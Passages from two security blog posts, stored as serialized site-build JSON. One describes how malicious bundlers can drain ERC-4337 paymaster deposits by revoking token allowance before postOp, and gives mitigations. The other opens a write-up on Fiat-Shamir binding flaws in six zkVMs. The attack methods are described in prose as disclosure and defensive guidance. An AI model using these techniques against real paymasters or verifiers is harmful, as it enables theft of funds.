ctx.exchangeRate) ",{"type":21,"tag":153,"props":109679,"children":109680},{"style":198},[109681],{"type":26,"value":7310},{"type":21,"tag":153,"props":109683,"children":109684},{"style":300},[109685],{"type":26,"value":109686}," 1e18",{"type":21,"tag":153,"props":109688,"children":109689},{"style":160},[109690],{"type":26,"value":1759},{"type":21,"tag":153,"props":109692,"children":109693},{"class":155,"line":3517},[109694],{"type":21,"tag":153,"props":109695,"children":109696},{"emptyLinePlaceholder":16},[109697],{"type":26,"value":759},{"type":21,"tag":153,"props":109699,"children":109700},{"class":155,"line":3526},[109701,109705,109710,109714,109718,109722,109726,109730,109734,109738,109742],{"type":21,"tag":153,"props":109702,"children":109703},{"style":1751},[109704],{"type":26,"value":2607},{"type":21,"tag":153,"props":109706,"children":109707},{"style":160},[109708],{"type":26,"value":109709}," (ctx.recipient ",{"type":21,"tag":153,"props":109711,"children":109712},{"style":198},[109713],{"type":26,"value":18385},{"type":21,"tag":153,"props":109715,"children":109716},{"style":214},[109717],{"type":26,"value":8979},{"type":21,"tag":153,"props":109719,"children":109720},{"style":160},[109721],{"type":26,"value":189},{"type":21,"tag":153,"props":109723,"children":109724},{"style":300},[109725],{"type":26,"value":2996},{"type":21,"tag":153,"props":109727,"children":109728},{"style":160},[109729],{"type":26,"value":2362},{"type":21,"tag":153,"props":109731,"children":109732},{"style":198},[109733],{"type":26,"value":75492},{"type":21,"tag":153,"props":109735,"children":109736},{"style":160},[109737],{"type":26,"value":109659},{"type":21,"tag":153,"props":109739,"children":109740},{"style":198},[109741],{"type":26,"value":13182},{"type":21,"tag":153,"props":109743,"children":109744},{"style":160},[109745],{"type":26,"value":109746}," costInToken) {\n",{"type":21,"tag":153,"props":109748,"children":109749},{"class":155,"line":3607},[109750,109755,109759,109764,109768],{"type":21,"tag":153,"props":109751,"children":109752},{"style":160},[109753],{"type":26,"value":109754},"            SafeTransferLib.",{"type":21,"tag":153,"props":109756,"children":109757},{"style":181},[109758],{"type":26,"value":105935},{"type":21,"tag":153,"props":109760,"children":109761},{"style":160},[109762],{"type":26,"value":109763},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":21,"tag":153,"props":109765,"children":109766},{"style":198},[109767],{"type":26,"value":3873},{"type":21,"tag":153,"props":109769,"children":109770},{"style":160},[109771],{"type":26,"value":109772}," costInToken);\n",{"type":21,"tag":153,"props":109774,"children":109775},{"class":155,"line":3615},[109776],{"type":21,"tag":153,"props":109777,"children":109778},{"style":160},[109779],{"type":26,"value":2765},{"type":21,"tag":153,"props":109781,"children":109782},{"class":155,"line":3629},[109783],{"type":21,"tag":153,"props":109784,"children":109785},{"emptyLinePlaceholder":16},[109786],{"type":26,"value":759},{"type":21,"tag":153,"props":109788,"children":109789},{"class":155,"line":26297},[109790,109795,109799],{"type":21,"tag":153,"props":109791,"children":109792},{"style":1751},[109793],{"type":26,"value":109794},"        emit",{"type":21,"tag":153,"props":109796,"children":109797},{"style":181},[109798],{"type":26,"value":106669},{"type":21,"tag":153,"props":109800,"children":109801},{"style":160},[109802],{"type":26,"value":109803},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":21,"tag":153,"props":109805,"children":109806},{"class":155,"line":26330},[109807],{"type":21,"tag":153,"props":109808,"children":109809},{"style":160},[109810],{"type":26,"value":539},{"type":21,"tag":22,"props":109812,"children":109813},{},[109814,109816,109821,109823,109829,109831,109837,109839,109844,109846,109851],{"type":26,"value":109815},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":21,"tag":78,"props":109817,"children":109819},{"className":109818},[],[109820],{"type":26,"value":105935},{"type":26,"value":109822},". Note that ",{"type":21,"tag":78,"props":109824,"children":109826},{"className":109825},[],[109827],{"type":26,"value":109828},"preFundCharged",{"type":26,"value":109830}," can be zero, as users can opt out of any ",{"type":21,"tag":78,"props":109832,"children":109834},{"className":109833},[],[109835],{"type":26,"value":109836},"preFund",{"type":26,"value":109838}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":21,"tag":78,"props":109840,"children":109842},{"className":109841},[],[109843],{"type":26,"value":106736},{"type":26,"value":109845}," call inside ",{"type":21,"tag":78,"props":109847,"children":109849},{"className":109848},[],[109850],{"type":26,"value":107820},{"type":26,"value":109852}," will revert and the paymaster won't be able to collect payment from the user.",{"type":21,"tag":22,"props":109854,"children":109855},{},[109856,109858,109863,109865,109871,109873,109879],{"type":26,"value":109857},"However, even when ",{"type":21,"tag":78,"props":109859,"children":109861},{"className":109860},[],[109862],{"type":26,"value":106736},{"type":26,"value":109864}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":21,"tag":78,"props":109866,"children":109868},{"className":109867},[],[109869],{"type":26,"value":109870},"requiredPrefund",{"type":26,"value":109872}," was taken from the paymaster's ",{"type":21,"tag":29,"props":109874,"children":109877},{"href":109875,"rel":109876},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[33],[109878],{"type":26,"value":64256},{"type":26,"value":355},{"type":21,"tag":22,"props":109881,"children":109882},{},[109883,109885,109890],{"type":26,"value":109884},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":21,"tag":78,"props":109886,"children":109888},{"className":109887},[],[109889],{"type":26,"value":106736},{"type":26,"value":109891}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":21,"tag":126,"props":109893,"children":109894},{},[109895,109913,109932,109943,109948],{"type":21,"tag":91,"props":109896,"children":109897},{},[109898,109900,109905,109907],{"type":26,"value":109899},"The bundler creates a ",{"type":21,"tag":78,"props":109901,"children":109903},{"className":109902},[],[109904],{"type":26,"value":104479},{"type":26,"value":109906}," with an intentionally high ",{"type":21,"tag":78,"props":109908,"children":109910},{"className":109909},[],[109911],{"type":26,"value":109912},"gasPrice",{"type":21,"tag":91,"props":109914,"children":109915},{},[109916,109918,109923,109925,109930],{"type":26,"value":109917},"The bundler ensures the ",{"type":21,"tag":78,"props":109919,"children":109921},{"className":109920},[],[109922],{"type":26,"value":106736},{"type":26,"value":109924}," call will fail by revoking the paymaster's token allowance before ",{"type":21,"tag":78,"props":109926,"children":109928},{"className":109927},[],[109929],{"type":26,"value":106736},{"type":26,"value":109931}," executes",{"type":21,"tag":91,"props":109933,"children":109934},{},[109935,109936,109941],{"type":26,"value":65648},{"type":21,"tag":78,"props":109937,"children":109939},{"className":109938},[],[109940],{"type":26,"value":106736},{"type":26,"value":109942}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":21,"tag":91,"props":109944,"children":109945},{},[109946],{"type":26,"value":109947},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":21,"tag":91,"props":109949,"children":109950},{},[109951],{"type":26,"value":109952},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":21,"tag":22,"props":109954,"children":109955},{},[109956,109958,109963,109965,109970],{"type":26,"value":109957},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":21,"tag":78,"props":109959,"children":109961},{"className":109960},[],[109962],{"type":26,"value":104508},{"type":26,"value":109964}," designed to fail during ",{"type":21,"tag":78,"props":109966,"children":109968},{"className":109967},[],[109969],{"type":26,"value":106736},{"type":26,"value":109971}," while maximizing the gas costs they can charge to the paymaster.",{"type":21,"tag":22,"props":109973,"children":109974},{},[109975,109977,109982,109984,109989,109991,109997,109999,110004],{"type":26,"value":109976},"Some paymasters try to protect against this by simulating the ",{"type":21,"tag":78,"props":109978,"children":109980},{"className":109979},[],[109981],{"type":26,"value":104479},{"type":26,"value":109983}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":21,"tag":78,"props":109985,"children":109987},{"className":109986},[],[109988],{"type":26,"value":104479},{"type":26,"value":109990}," is submitted via ",{"type":21,"tag":78,"props":109992,"children":109994},{"className":109993},[],[109995],{"type":26,"value":109996},"handleOps",{"type":26,"value":109998},". This means the ",{"type":21,"tag":78,"props":110000,"children":110002},{"className":110001},[],[110003],{"type":26,"value":106736},{"type":26,"value":110005}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":21,"tag":22,"props":110007,"children":110008},{},[110009],{"type":26,"value":110010},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":21,"tag":22,"props":110012,"children":110013},{},[110014],{"type":26,"value":110015},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":21,"tag":22,"props":110017,"children":110018},{},[110019],{"type":26,"value":110020},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":21,"tag":38066,"props":110022,"children":110023},{"id":5568},[110024],{"type":26,"value":5571},{"type":21,"tag":22,"props":110026,"children":110027},{},[110028],{"type":26,"value":110029},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":21,"tag":126,"props":110031,"children":110032},{},[110033,110038,110043,110048,110053],{"type":21,"tag":91,"props":110034,"children":110035},{},[110036],{"type":26,"value":110037},"Always collect full payment during validation, not after execution",{"type":21,"tag":91,"props":110039,"children":110040},{},[110041],{"type":26,"value":110042},"Be conservative with gas estimations and include safety margins",{"type":21,"tag":91,"props":110044,"children":110045},{},[110046],{"type":26,"value":110047},"Carefully validate all user inputs and token transfers",{"type":21,"tag":91,"props":110049,"children":110050},{},[110051],{"type":26,"value":110052},"Test extensively, including simulation of malicious behavior",{"type":21,"tag":91,"props":110054,"children":110055},{},[110056,110058,110063],{"type":26,"value":110057},"Always review changes in new ",{"type":21,"tag":78,"props":110059,"children":110061},{"className":110060},[],[110062],{"type":26,"value":104560},{"type":26,"value":110064}," versions, as they may impact your paymaster's design and security assumptions",{"type":21,"tag":22,"props":110066,"children":110067},{},[110068,110070,110075,110077,110082,110084,110089],{"type":26,"value":110069},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":21,"tag":78,"props":110071,"children":110073},{"className":110072},[],[110074],{"type":26,"value":104560},{"type":26,"value":110076}," contract's behavior could potentially break existing ",{"type":21,"tag":78,"props":110078,"children":110080},{"className":110079},[],[110081],{"type":26,"value":104632},{"type":26,"value":110083}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":21,"tag":78,"props":110085,"children":110087},{"className":110086},[],[110088],{"type":26,"value":104560},{"type":26,"value":110090}," versions.",{"type":21,"tag":22,"props":110092,"children":110093},{},[110094],{"type":26,"value":110095},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":21,"tag":22,"props":110097,"children":110098},{},[110099],{"type":26,"value":110100},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":21,"tag":5603,"props":110102,"children":110103},{},[110104],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":110106},[110107,110108,110109,110116,110121,110122],{"id":104394,"depth":166,"text":104397},{"id":104410,"depth":166,"text":104413},{"id":104449,"depth":166,"text":104452,"children":110110},[110111,110112,110113,110114,110115],{"id":104472,"depth":225,"text":104479},{"id":104513,"depth":225,"text":104516},{"id":104539,"depth":225,"text":104542},{"id":17426,"depth":225,"text":104560},{"id":104632,"depth":225,"text":104643},{"id":104695,"depth":166,"text":110117,"children":110118},"Understanding the EntryPoint's Flow",[110119,110120],{"id":104751,"depth":225,"text":104754},{"id":104936,"depth":225,"text":104939},{"id":105179,"depth":166,"text":105185},{"id":106779,"depth":166,"text":106785,"children":110123},[110124,110125],{"id":106839,"depth":225,"text":106842},{"id":106899,"depth":225,"text":106902},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":110130,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":110131,"description":110132,"date":110133,"author":110134,"image":110137,"isFeatured":16,"onBlogPage":16,"tags":110139,"body":110141,"_type":5619,"_id":125946,"_source":5621,"_file":125947,"_stem":125948,"_extension":5624},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[110135,110136],"himanshu","valter",{"src":110138,"width":99565,"height":16340},"/posts/zkvms-unfaithful-claims/title.png",[110140],"zkVM",{"type":18,"children":110142,"toc":125910},[110143,110148,110190,110203,110206,110212,110217,110345,110348,110354,110360,110365,110397,110545,110550,110673,110684,110695,110718,110729,110734,110767,110775,110780,110783,110789,110794,110800,110805,110810,110818,110836,110977,110982,110988,111081,111815,111883,111894,111902,112376,112382,112821,113161,113314,113319,114207,114363,114369,114461,114466,115051,115501,115577,115583,115588,115657,115667,115683,115693,115754,116173,116205,116215,116390,116395,116405,117005,117193,117211,117214,117220,117225,117233,117265,117627,117632,117717,117720,117726,117734,117739,117742,117748,117753,117761,117769,117777,117785,117818,117826,117834,117925,118176,118503,118511,118541,118711,119037,119042,119047,119064,119067,119072,119077,119089,119101,119692,119704,119716,119723,119731,119743,119751,119766,119771,120051,120070,120165,120184,120200,120203,120209,120214,120219,120226,120234,120241,120249,120262,120280,120740,120842,120847,120852,120868,120871,120877,120882,120894,120905,120910,121300,121307,121315,121340,121360,121616,121627,121646,122030,122376,122606,122765,122925,123493,123498,123524,123527,123533,123538,123545,123553,123566,123638,123649,123657,123667,123675,123686,123960,124049,124078,124081,124086,124220,124232,124239,124244,124397,124423,124430,124438,124443,124509,124514,124904,124991,125007,125010,125016,125021,125027,125127,125186,125191,125197,125202,125210,125215,125221,125226,125231,125237,125242,125245,125251,125257,125262,125267,125272,125277,125282,125285,125291,125454,125459,125462,125467,125478,125795,125800,125824,125829,125847,125852,125855,125861,125866,125871,125881,125886,125896,125906],{"type":21,"tag":22,"props":110144,"children":110145},{},[110146],{"type":26,"value":110147},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":21,"tag":22,"props":110149,"children":110150},{},[110151,110153,110158,110159,110164,110165,110170,110171,110176,110177,110182,110183,110188],{"type":26,"value":110152},"We found six systems where this faithfulness breaks. Across ",{"type":21,"tag":8055,"props":110154,"children":110155},{},[110156],{"type":26,"value":110157},"Jolt",{"type":26,"value":1670},{"type":21,"tag":8055,"props":110160,"children":110161},{},[110162],{"type":26,"value":110163},"Nexus",{"type":26,"value":1670},{"type":21,"tag":8055,"props":110166,"children":110167},{},[110168],{"type":26,"value":110169},"Cairo-M",{"type":26,"value":1670},{"type":21,"tag":8055,"props":110172,"children":110173},{},[110174],{"type":26,"value":110175},"Ceno",{"type":26,"value":1670},{"type":21,"tag":8055,"props":110178,"children":110179},{},[110180],{"type":26,"value":110181},"Expander",{"type":26,"value":9217},{"type":21,"tag":8055,"props":110184,"children":110185},{},[110186],{"type":26,"value":110187},"Binius64",{"type":26,"value":110189},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":21,"tag":22,"props":110191,"children":110192},{},[110193,110195,110201],{"type":26,"value":110194},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":21,"tag":29,"props":110196,"children":110198},{"href":110197},"#challenges",[110199],{"type":26,"value":110200},"Challenges",{"type":26,"value":110202}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":21,"tag":21491,"props":110204,"children":110205},{},[],{"type":21,"tag":66,"props":110207,"children":110209},{"id":110208},"jargon-cheat-sheet",[110210],{"type":26,"value":110211},"Jargon Cheat Sheet",{"type":21,"tag":22,"props":110213,"children":110214},{},[110215],{"type":26,"value":110216},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":21,"tag":87,"props":110218,"children":110219},{},[110220,110230,110240,110250,110260,110270,110280,110290,110300,110310,110320,110330],{"type":21,"tag":91,"props":110221,"children":110222},{},[110223,110228],{"type":21,"tag":8055,"props":110224,"children":110225},{},[110226],{"type":26,"value":110227},"Fiat-Shamir",{"type":26,"value":110229},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":21,"tag":91,"props":110231,"children":110232},{},[110233,110238],{"type":21,"tag":8055,"props":110234,"children":110235},{},[110236],{"type":26,"value":110237},"Transcript",{"type":26,"value":110239},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":21,"tag":91,"props":110241,"children":110242},{},[110243,110248],{"type":21,"tag":8055,"props":110244,"children":110245},{},[110246],{"type":26,"value":110247},"Polynomial Commitment",{"type":26,"value":110249},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":21,"tag":91,"props":110251,"children":110252},{},[110253,110258],{"type":21,"tag":8055,"props":110254,"children":110255},{},[110256],{"type":26,"value":110257},"Sumcheck",{"type":26,"value":110259},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":21,"tag":91,"props":110261,"children":110262},{},[110263,110268],{"type":21,"tag":8055,"props":110264,"children":110265},{},[110266],{"type":26,"value":110267},"MLE (Multilinear Extension)",{"type":26,"value":110269},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":21,"tag":91,"props":110271,"children":110272},{},[110273,110278],{"type":21,"tag":8055,"props":110274,"children":110275},{},[110276],{"type":26,"value":110277},"Lookup / LogUp",{"type":26,"value":110279},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":21,"tag":91,"props":110281,"children":110282},{},[110283,110288],{"type":21,"tag":8055,"props":110284,"children":110285},{},[110286],{"type":26,"value":110287},"AIR",{"type":26,"value":110289},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":21,"tag":91,"props":110291,"children":110292},{},[110293,110298],{"type":21,"tag":8055,"props":110294,"children":110295},{},[110296],{"type":26,"value":110297},"STARK",{"type":26,"value":110299},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":21,"tag":91,"props":110301,"children":110302},{},[110303,110308],{"type":21,"tag":8055,"props":110304,"children":110305},{},[110306],{"type":26,"value":110307},"FRI",{"type":26,"value":110309},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":21,"tag":91,"props":110311,"children":110312},{},[110313,110318],{"type":21,"tag":8055,"props":110314,"children":110315},{},[110316],{"type":26,"value":110317},"OODS",{"type":26,"value":110319},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":21,"tag":91,"props":110321,"children":110322},{},[110323,110328],{"type":21,"tag":8055,"props":110324,"children":110325},{},[110326],{"type":26,"value":110327},"GKR",{"type":26,"value":110329},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":21,"tag":91,"props":110331,"children":110332},{},[110333,110338,110340],{"type":21,"tag":8055,"props":110334,"children":110335},{},[110336],{"type":26,"value":110337},"claimed_sum / opening_claim",{"type":26,"value":110339},": Prover-supplied values that feed into verification equations. ",{"type":21,"tag":8055,"props":110341,"children":110342},{},[110343],{"type":26,"value":110344},"These are the usual suspects for binding bugs.",{"type":21,"tag":21491,"props":110346,"children":110347},{},[],{"type":21,"tag":66,"props":110349,"children":110351},{"id":110350},"what-are-we-even-breaking",[110352],{"type":26,"value":110353},"What Are We Even Breaking?",{"type":21,"tag":114,"props":110355,"children":110357},{"id":110356},"what-is-a-zkvm",[110358],{"type":26,"value":110359},"What is a zkVM?",{"type":21,"tag":22,"props":110361,"children":110362},{},[110363],{"type":26,"value":110364},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":21,"tag":22,"props":110366,"children":110367},{},[110368,110370,110395],{"type":26,"value":110369},"Formally, the verifier is convinced that there exists a valid trace ",{"type":21,"tag":78,"props":110371,"children":110373},{"className":110372},[6715,6716],[110374],{"type":21,"tag":153,"props":110375,"children":110377},{"className":110376},[6721],[110378],{"type":21,"tag":153,"props":110379,"children":110381},{"className":110380,"ariaHidden":3294},[6726],[110382],{"type":21,"tag":153,"props":110383,"children":110385},{"className":110384},[6731],[110386,110390],{"type":21,"tag":153,"props":110387,"children":110389},{"className":110388,"style":24275},[6736],[],{"type":21,"tag":153,"props":110391,"children":110393},{"className":110392,"style":24281},[6742,24280],[110394],{"type":26,"value":8717},{"type":26,"value":110396}," such that:",{"type":21,"tag":22,"props":110398,"children":110399},{},[110400],{"type":21,"tag":78,"props":110401,"children":110403},{"className":110402},[6715,6716],[110404],{"type":21,"tag":153,"props":110405,"children":110407},{"className":110406},[6721],[110408],{"type":21,"tag":153,"props":110409,"children":110411},{"className":110410,"ariaHidden":3294},[6726],[110412,110456,110531],{"type":21,"tag":153,"props":110413,"children":110415},{"className":110414},[6731],[110416,110420,110426,110430,110435,110439,110443,110448,110452],{"type":21,"tag":153,"props":110417,"children":110419},{"className":110418,"style":95259},[6736],[],{"type":21,"tag":153,"props":110421,"children":110423},{"className":110422},[6742],[110424],{"type":26,"value":110425},"∃",{"type":21,"tag":153,"props":110427,"children":110429},{"className":110428,"style":6918},[6820],[],{"type":21,"tag":153,"props":110431,"children":110433},{"className":110432,"style":24281},[6742,24280],[110434],{"type":26,"value":8717},{"type":21,"tag":153,"props":110436,"children":110438},{"className":110437,"style":6918},[6820],[],{"type":21,"tag":153,"props":110440,"children":110442},{"className":110441,"style":6918},[6820],[],{"type":21,"tag":153,"props":110444,"children":110446},{"className":110445},[6923],[110447],{"type":26,"value":201},{"type":21,"tag":153,"props":110449,"children":110451},{"className":110450,"style":6918},[6820],[],{"type":21,"tag":153,"props":110453,"children":110455},{"className":110454,"style":6918},[6820],[],{"type":21,"tag":153,"props":110457,"children":110459},{"className":110458},[6731],[110460,110464,110475,110480,110485,110490,110494,110499,110504,110508,110513,110518,110522,110527],{"type":21,"tag":153,"props":110461,"children":110463},{"className":110462,"style":6841},[6736],[],{"type":21,"tag":153,"props":110465,"children":110467},{"className":110466},[6742],[110468],{"type":21,"tag":153,"props":110469,"children":110472},{"className":110470},[6742,110471],"mathsf",[110473],{"type":26,"value":110474},"VM",{"type":21,"tag":153,"props":110476,"children":110478},{"className":110477},[24409],[110479],{"type":26,"value":189},{"type":21,"tag":153,"props":110481,"children":110483},{"className":110482,"style":24281},[6742,24280],[110484],{"type":26,"value":24284},{"type":21,"tag":153,"props":110486,"children":110488},{"className":110487},[6852],[110489],{"type":26,"value":6855},{"type":21,"tag":153,"props":110491,"children":110493},{"className":110492,"style":6859},[6820],[],{"type":21,"tag":153,"props":110495,"children":110497},{"className":110496,"style":97364},[6742,24280],[110498],{"type":26,"value":8862},{"type":21,"tag":153,"props":110500,"children":110502},{"className":110501},[6852],[110503],{"type":26,"value":6855},{"type":21,"tag":153,"props":110505,"children":110507},{"className":110506,"style":6859},[6820],[],{"type":21,"tag":153,"props":110509,"children":110511},{"className":110510,"style":24281},[6742,24280],[110512],{"type":26,"value":8717},{"type":21,"tag":153,"props":110514,"children":110516},{"className":110515},[24431],[110517],{"type":26,"value":2071},{"type":21,"tag":153,"props":110519,"children":110521},{"className":110520,"style":6918},[6820],[],{"type":21,"tag":153,"props":110523,"children":110525},{"className":110524},[6923],[110526],{"type":26,"value":25026},{"type":21,"tag":153,"props":110528,"children":110530},{"className":110529,"style":6918},[6820],[],{"type":21,"tag":153,"props":110532,"children":110534},{"className":110533},[6731],[110535,110539],{"type":21,"tag":153,"props":110536,"children":110538},{"className":110537,"style":24275},[6736],[],{"type":21,"tag":153,"props":110540,"children":110543},{"className":110541,"style":110542},[6742,24280],"margin-right:0.22222em;",[110544],{"type":26,"value":8892},{"type":21,"tag":22,"props":110546,"children":110547},{},[110548],{"type":26,"value":110549},"where:",{"type":21,"tag":87,"props":110551,"children":110552},{},[110553,110583,110613,110643],{"type":21,"tag":91,"props":110554,"children":110555},{},[110556,110581],{"type":21,"tag":78,"props":110557,"children":110559},{"className":110558},[6715,6716],[110560],{"type":21,"tag":153,"props":110561,"children":110563},{"className":110562},[6721],[110564],{"type":21,"tag":153,"props":110565,"children":110567},{"className":110566,"ariaHidden":3294},[6726],[110568],{"type":21,"tag":153,"props":110569,"children":110571},{"className":110570},[6731],[110572,110576],{"type":21,"tag":153,"props":110573,"children":110575},{"className":110574,"style":24275},[6736],[],{"type":21,"tag":153,"props":110577,"children":110579},{"className":110578,"style":24281},[6742,24280],[110580],{"type":26,"value":24284},{"type":26,"value":110582}," = program/circuit description (public)",{"type":21,"tag":91,"props":110584,"children":110585},{},[110586,110611],{"type":21,"tag":78,"props":110587,"children":110589},{"className":110588},[6715,6716],[110590],{"type":21,"tag":153,"props":110591,"children":110593},{"className":110592},[6721],[110594],{"type":21,"tag":153,"props":110595,"children":110597},{"className":110596,"ariaHidden":3294},[6726],[110598],{"type":21,"tag":153,"props":110599,"children":110601},{"className":110600},[6731],[110602,110606],{"type":21,"tag":153,"props":110603,"children":110605},{"className":110604,"style":24275},[6736],[],{"type":21,"tag":153,"props":110607,"children":110609},{"className":110608,"style":97364},[6742,24280],[110610],{"type":26,"value":8862},{"type":26,"value":110612}," = public input",{"type":21,"tag":91,"props":110614,"children":110615},{},[110616,110641],{"type":21,"tag":78,"props":110617,"children":110619},{"className":110618},[6715,6716],[110620],{"type":21,"tag":153,"props":110621,"children":110623},{"className":110622},[6721],[110624],{"type":21,"tag":153,"props":110625,"children":110627},{"className":110626,"ariaHidden":3294},[6726],[110628],{"type":21,"tag":153,"props":110629,"children":110631},{"className":110630},[6731],[110632,110636],{"type":21,"tag":153,"props":110633,"children":110635},{"className":110634,"style":24275},[6736],[],{"type":21,"tag":153,"props":110637,"children":110639},{"className":110638,"style":110542},[6742,24280],[110640],{"type":26,"value":8892},{"type":26,"value":110642}," = claimed public output",{"type":21,"tag":91,"props":110644,"children":110645},{},[110646,110671],{"type":21,"tag":78,"props":110647,"children":110649},{"className":110648},[6715,6716],[110650],{"type":21,"tag":153,"props":110651,"children":110653},{"className":110652},[6721],[110654],{"type":21,"tag":153,"props":110655,"children":110657},{"className":110656,"ariaHidden":3294},[6726],[110658],{"type":21,"tag":153,"props":110659,"children":110661},{"className":110660},[6731],[110662,110666],{"type":21,"tag":153,"props":110663,"children":110665},{"className":110664,"style":24275},[6736],[],{"type":21,"tag":153,"props":110667,"children":110669},{"className":110668,"style":24281},[6742,24280],[110670],{"type":26,"value":8717},{"type":26,"value":110672}," = private witness/trace (registers, memory history, intermediate values)",{"type":21,"tag":22,"props":110674,"children":110675},{},[110676,110678,110682],{"type":26,"value":110677},"The verifier does ",{"type":21,"tag":8055,"props":110679,"children":110680},{},[110681],{"type":26,"value":21186},{"type":26,"value":110683}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":21,"tag":22,"props":110685,"children":110686},{},[110687,110689,110694],{"type":26,"value":110688},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":21,"tag":8055,"props":110690,"children":110691},{},[110692],{"type":26,"value":110693},"soundness",{"type":26,"value":201},{"type":21,"tag":87,"props":110696,"children":110697},{},[110698,110708],{"type":21,"tag":91,"props":110699,"children":110700},{},[110701,110706],{"type":21,"tag":8055,"props":110702,"children":110703},{},[110704],{"type":26,"value":110705},"Completeness",{"type":26,"value":110707},": honest execution verifies.",{"type":21,"tag":91,"props":110709,"children":110710},{},[110711,110716],{"type":21,"tag":8055,"props":110712,"children":110713},{},[110714],{"type":26,"value":110715},"Soundness",{"type":26,"value":110717},": false execution should not verify.",{"type":21,"tag":22,"props":110719,"children":110720},{},[110721,110723,110727],{"type":26,"value":110722},"We are breaking ",{"type":21,"tag":8055,"props":110724,"children":110725},{},[110726],{"type":26,"value":110693},{"type":26,"value":110728}," in all six systems.",{"type":21,"tag":22,"props":110730,"children":110731},{},[110732],{"type":26,"value":110733},"In all six codebases, verification follows this abstract flow:",{"type":21,"tag":126,"props":110735,"children":110736},{},[110737,110742,110747,110752,110757,110762],{"type":21,"tag":91,"props":110738,"children":110739},{},[110740],{"type":26,"value":110741},"Fix public statement data.",{"type":21,"tag":91,"props":110743,"children":110744},{},[110745],{"type":26,"value":110746},"Parse proof payload (commitments, reduction messages, openings).",{"type":21,"tag":91,"props":110748,"children":110749},{},[110750],{"type":26,"value":110751},"Rebuild Fiat-Shamir challenges from transcript 